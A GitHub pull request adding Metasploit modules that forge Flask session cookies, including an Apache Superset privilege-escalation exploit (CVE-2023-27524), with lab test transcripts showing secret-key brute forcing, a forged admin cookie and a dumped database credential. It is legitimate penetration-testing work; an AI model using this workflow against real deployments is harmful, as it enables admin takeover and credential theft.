Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library #18180

Merged
merged 19 commits into from
Sep 12, 2023

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Jul 11, 2023

fixes #17939

This PR adds a new library written by @zeroSteiner which implements a Ruby version of the Flask unsign python project by @Paradoxis . All props go to @zeroSteiner for the work there, its great.

It then adds an exploit for Apache Supserset (CVE-2023-27524) where a user is able to decode the authenticated cookie, modify the user_id to be an admin's, and re-sign it. Then pilfer creds to databases that are stored. I'll no longer be hunting for the RCE, I have too many other modules I'm currently working on to spend the time looking.

I've also included a generic module which can decode, and resign a cookie. It would be used against custom apps where you can view the source code and know the secret key. A little hard to document, so I just used the apache superset again.

Verification

  • Install the application
  • Start msfconsole
  • Do: use auxiliary/gather/apache_superset_priv_esc
  • Do: set username [username]
  • Do: set password [password]
  • Do: run
  • You should get an admin cookie and the database credentials
  • Document looks good

@Paradoxis
Copy link

Oh hey that's pretty nifty, nice work @h00die :)

@h00die
Copy link
Contributor Author

h00die commented Jul 27, 2023

Haven't forgotten about this, its on my list, just needed to get the H2 module written, and have another one i'm working on before i'll get back to this.

I was thinking of adding an aux module which you can give it a cookie or rhost. if you give it an rhost it'll go get a cookie and decode it. if you give it a cookie, it'll just decode it. Maybe a 3rd option to give an encoded cookie, and a decoded value (so we can replace and re-encrypt). Then we'll have full replication from the python equivalent!

@h00die
Copy link
Contributor Author

h00die commented Aug 1, 2023

No longer RCE hunting, got too many modules queued up to spend time looking. Added a new genric module. Ready for review!

@h00die h00die marked this pull request as ready for review August 1, 2023 22:29
@smcintyre-r7 smcintyre-r7 self-assigned this Sep 5, 2023
@h00die
Copy link
Contributor Author

h00die commented Sep 6, 2023

Pulling this back to draft since the RCE portion is now public: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/

@h00die h00die marked this pull request as draft September 6, 2023 19:21
@h00die h00die marked this pull request as ready for review September 7, 2023 00:19
@h00die h00die mentioned this pull request Sep 7, 2023
8 tasks
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I pushed up some minor changes to honor the escape sequences in the word list. This notably fixed the secret from the official Flask documentation.

apache_superset_cookie_sig_priv_esc Testing
msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) > show options 

Module options (auxiliary/gather/apache_superset_cookie_sig_priv_esc):

   Name              Current Setting                          Required  Description
   ----              ---------------                          --------  -----------
   ADMIN_ID          1                                        yes       The ID of an admin account
   PASSWORD          admin                                    yes       The password for the specified username
   Proxies                                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.159.128                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploi
                                                                        t/basics/using-metasploit.html
   RPORT             8088                                     yes       The target port (TCP)
   SECRET_KEYS_FILE  /home/smcintyre/Repositories/metasploit  no        File containing secret keys to try, one per line
                     -framework.pr/data/wordlists/superset_s
                     ecret_keys.txt
   SSL               false                                    no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /                                        yes       Relative URI of Apache Superset installation
   USERNAME          admin                                    yes       The username to authenticate as
   VHOST                                                      no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) > run
[*] Running module against 192.168.159.128

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiMzkwY2U3MjJkZDE2ZjRjZGZjYWQ5MWVmY2FkOWU3ZWNkOTNhNjA4YSIsImxvY2FsZSI6ImVuIn0.ZQDQfQ.2sKQctveWX1MB7FEBuEd9T-BEjQ;
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"390ce722dd16f4cdfcad91efcad9e7ecd93a608a", "locale"=>"en"}
[*] 192.168.159.128:8088 - Attempting login
[+] 192.168.159.128:8088 - Logged in Cookie: session=.eJwlj81qAzEMhN_F5z1ItizFeZlF1g8NCQ3sJqeSd69pTwMzfMPMT9nziPOrXF_HO7ay37xci9IFZhclIU6GdFHoRtbqcMllI9rUFBRWVmgOykPU5rBpPA2y9xgG0zMrMscClSYxKRmOmuDUNUcXy9UETXE0XhFVhFVZtmLnkfvreY_vtacNsJBa3ZGTzNPUB8afhIT5aMpw0cU9nqaPWMwCt_I-4_i_hOXzC8jORNk.ZQDQfg.AxL-luRo7b9cTF6sJEzuTTdTXdA;
[+] 192.168.159.128:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 192.168.159.128:8088 - Modified cookie: {"_fresh"=>true, "_id"=>"a480b57a4746f60fd7a05c4c329d7fa4711cbaf7176a6a03d0a697acb9cbc6bc0f55e9c0bdff2166e329a4b464a4c192f0d45af957cf1cb03a19364c142106a6", "csrf_token"=>"390ce722dd16f4cdfcad91efcad9e7ecd93a608a", "locale"=>"en", "user_id"=>1}
[*] 192.168.159.128:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 192.168.159.128:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImE0ODBiNTdhNDc0NmY2MGZkN2EwNWM0YzMyOWQ3ZmE0NzExY2JhZjcxNzZhNmEwM2QwYTY5N2FjYjljYmM2YmMwZjU1ZTljMGJkZmYyMTY2ZTMyOWE0YjQ2NGE0YzE5MmYwZDQ1YWY5NTdjZjFjYjAzYTE5MzY0YzE0MjEwNmE2IiwiY3NyZl90b2tlbiI6IjM5MGNlNzIyZGQxNmY0Y2RmY2FkOTFlZmNhZDllN2VjZDkzYTYwOGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQDQfg.Wao9OieHHucfgUBzovDz80FMcQk
[+] 192.168.159.128:8088 - Cookie validated to user: admin
[+] Found PostgreSQL: postgresql://dbuser:[email protected]:15432/supersetdb
[*] Done enumerating databases
[*] Auxiliary module execution completed
msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) >
python_flask_cookie_signer Testing

Apache Superset Target

msf6 auxiliary(gather/python_flask_cookie_signer) > show options 

Module options (auxiliary/gather/python_flask_cookie_signer):

   Name       Current Setting                       Required  Description
   ----       ---------------                       --------  -----------
   Proxies                                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.159.128                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                                              sing-metasploit.html
   RPORT      8088                                  yes       The target port (TCP)
   SECRET     CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET  yes       The key with which to sign the cookie
   SSL        false                                 no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /login                                yes       URI to browse
   VHOST                                            no        HTTP server virtual host


   When ACTION is Resign:

   Name              Current Setting                                                             Required  Description
   ----              ---------------                                                             --------  -----------
   NEWCOOKIECONTENT  {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}  no        Content of a cookie to sign


   When ACTION is FindSecret:

   Name              Current Setting                                                  Required  Description
   ----              ---------------                                                  --------  -----------
   SECRET_KEYS_FILE  /home/smcintyre/Repositories/metasploit-framework.pr/data/wordl  no        File containing secret keys to try, one per line
                     ists/flask_secret_keys.txt


Auxiliary action:

   Name    Description
   ----    -----------
   Resign  Resign the specified cookie data



View the full module info with the info, or info -d command.

msf6 auxiliary(gather/python_flask_cookie_signer) > show actions 

Auxiliary actions:

       Name        Description
       ----        -----------
       FindSecret  Brute force the secret key used to sign the cookie
   =>  Resign      Resign the specified cookie data
       Retrieve    Retrieve a cookie from an HTTP(s) server


msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret 
[*] Running module against 192.168.159.128

[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiMjY3OTg4ZWI3Y2JlODE5ZmVjMDEyNmRkNTBmMDBjYzI4MDA2ZjVkZCIsImxvY2FsZSI6ImVuIn0.ZQDRSA.B9jTZ6Q0BvuxvsMYiJAsIdo8vnM
[+] 192.168.159.128:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
SECRET => CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 192.168.159.128

[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiOWJhOGU0NTAxYmY4OWMzZjc0NDlkYWQ3MDczMjYzNWQ4YzdkZjk3YSIsImxvY2FsZSI6ImVuIn0.ZQDRWQ.742w9dW1eLghnWfBjnQmsdlOjVc
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"9ba8e4501bf89c3f7449dad70732635d8c7df97a", "locale"=>"en"}
[+] 192.168.159.128:8088 - Secret key "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET" is correct.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET WRONG
SECRET => WRONG
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 192.168.159.128

[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiYjVjNDI2ZGVlYTJiOWQxMWE4N2E1YzQ1ZTAzZjRlNjE5NzM3MzkyNiIsImxvY2FsZSI6ImVuIn0.ZQDRYA.lrb1TpTv1gNXEuU9uPq4UwyS4aU
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"b5c426deea2b9d11a87a5c45e03f4e6197373926", "locale"=>"en"}
[!] 192.168.159.128:8088 - Secret key "WRONG" is incorrect.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > resign
[*] Running module against 192.168.159.128

[*] Attempting to sign with key: WRONG
[+] 192.168.159.128:8088 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZQDRZQ.aI6aYIIA4g-6ftFvZNV7637uWH0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) >

Default Flask App

from flask import Flask, session, redirect, url_for, request, make_response
from markupsafe import escape

import random, string

app = Flask(__name__)

# Set the secret key to some random bytes. Keep this really secret!
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
#app.secret_key = b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'

@app.route('/')
def index():
    if not 'csrf_token' in session:
        session['csrf_token'] = ''.join(random.choices(string.ascii_lowercase, k=10))
    if 'username' in session:
        resp = make_response('Logged in as %s' % escape(session['username']))
    else:
        resp = make_response('You are not logged in')
    if not request.cookies.get('CSRF'):
        resp.set_cookie('CSRF', session['csrf_token'])
    return resp

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        session['username'] = request.form['username']
        return redirect(url_for('index'))
    return '''
        <form method="post">
            <p><input type=text name=username>
            <p><input type=submit value=Login>
        </form>
    '''

@app.route('/logout')
def logout():
    # remove the username from the session if it's there
    session.pop('username', None)
    return redirect(url_for('index'))
msf6 auxiliary(gather/python_flask_cookie_signer) > show options 

Module options (auxiliary/gather/python_flask_cookie_signer):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      5000             yes       The target port (TCP)
   SECRET     WRONG            yes       The key with which to sign the cookie
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /login           yes       URI to browse
   VHOST                       no        HTTP server virtual host


   When ACTION is Resign:

   Name              Current Setting                                                             Required  Description
   ----              ---------------                                                             --------  -----------
   NEWCOOKIECONTENT  {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}  no        Content of a cookie to sign


   When ACTION is FindSecret:

   Name              Current Setting                                                  Required  Description
   ----              ---------------                                                  --------  -----------
   SECRET_KEYS_FILE  /home/smcintyre/Repositories/metasploit-framework.pr/data/wordl  no        File containing secret keys to try, one per line
                     ists/flask_secret_keys.txt


Auxiliary action:

   Name    Description
   ----    -----------
   Resign  Resign the specified cookie data



View the full module info with the info, or info -d command.

msf6 auxiliary(gather/python_flask_cookie_signer) > show actions 

Auxiliary actions:

       Name        Description
       ----        -----------
       FindSecret  Brute force the secret key used to sign the cookie
   =>  Resign      Resign the specified cookie data
       Retrieve    Retrieve a cookie from an HTTP(s) server


msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret 
[*] Running module against 127.0.0.1

[*] 127.0.0.1:5000 - Retrieving Cookie
[-] Auxiliary aborted due to failure: unexpected-reply: 127.0.0.1:5000 - Response is missing the session cookie
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /
TARGETURI => /
msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret 
[*] Running module against 127.0.0.1

[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoic3FleW9leGZnYiJ9.ZQDSQw.8AGawfJRZZjXLcuYjvvAcIteI3I
[+] 127.0.0.1:5000 - Found secret key: _5#y2L"F4Q8z\n\xec]/
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve 
[*] Running module against 127.0.0.1

[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiaHZsZHVybmlubCJ9.ZQDSTg.r0QAAlbnbTZ_mvW0VpviImI4KvI
[*] 127.0.0.1:5000 - Decoded Cookie: {"csrf_token"=>"hvldurninl"}
[!] 127.0.0.1:5000 - Secret key "WRONG" is incorrect.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET '_5#y2L"F4Q8z\n\xec]/'
SECRET => _5#y2L"F4Q8z\n\xec]/
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve 
[*] Running module against 127.0.0.1

[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoidWR3eGdxZHZ6aiJ9.ZQDSVw.7r3bmX7sIdOapKltvXVCkOhE9zQ
[*] 127.0.0.1:5000 - Decoded Cookie: {"csrf_token"=>"udwxgqdvzj"}
[+] 127.0.0.1:5000 - Secret key "_5#y2L\"F4Q8z\n\xEC]/" is correct.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > resign 
[*] Running module against 127.0.0.1

[*] Attempting to sign with key: _5#y2L"F4Q8z\n\xec]/
[+] 127.0.0.1:5000 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZQDSWg.IyM1xFKff9Hleb3gx7v7XBAFW44
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > 

I also tested another Flask app that's using a different cookie library to ensure it didn't crash. I correctly fails with an error saying it can't decode the cookie.

Once the tests pass, I'll get this landed.

@smcintyre-r7 smcintyre-r7 merged commit 28c4902 into rapid7:master Sep 12, 2023
55 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds two modules for targeting vulnerabilities related to the signing of Flask's session cookies. One of them exploits a vulnerability in Apache Superset which is identified as CVE-2023-27524.

@h00die h00die deleted the flask_unsign branch September 14, 2023 14:28
@cgranleese-r7 cgranleese-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 15, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs library module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Apache Superset RCE (cve-2023-27524)
6 participants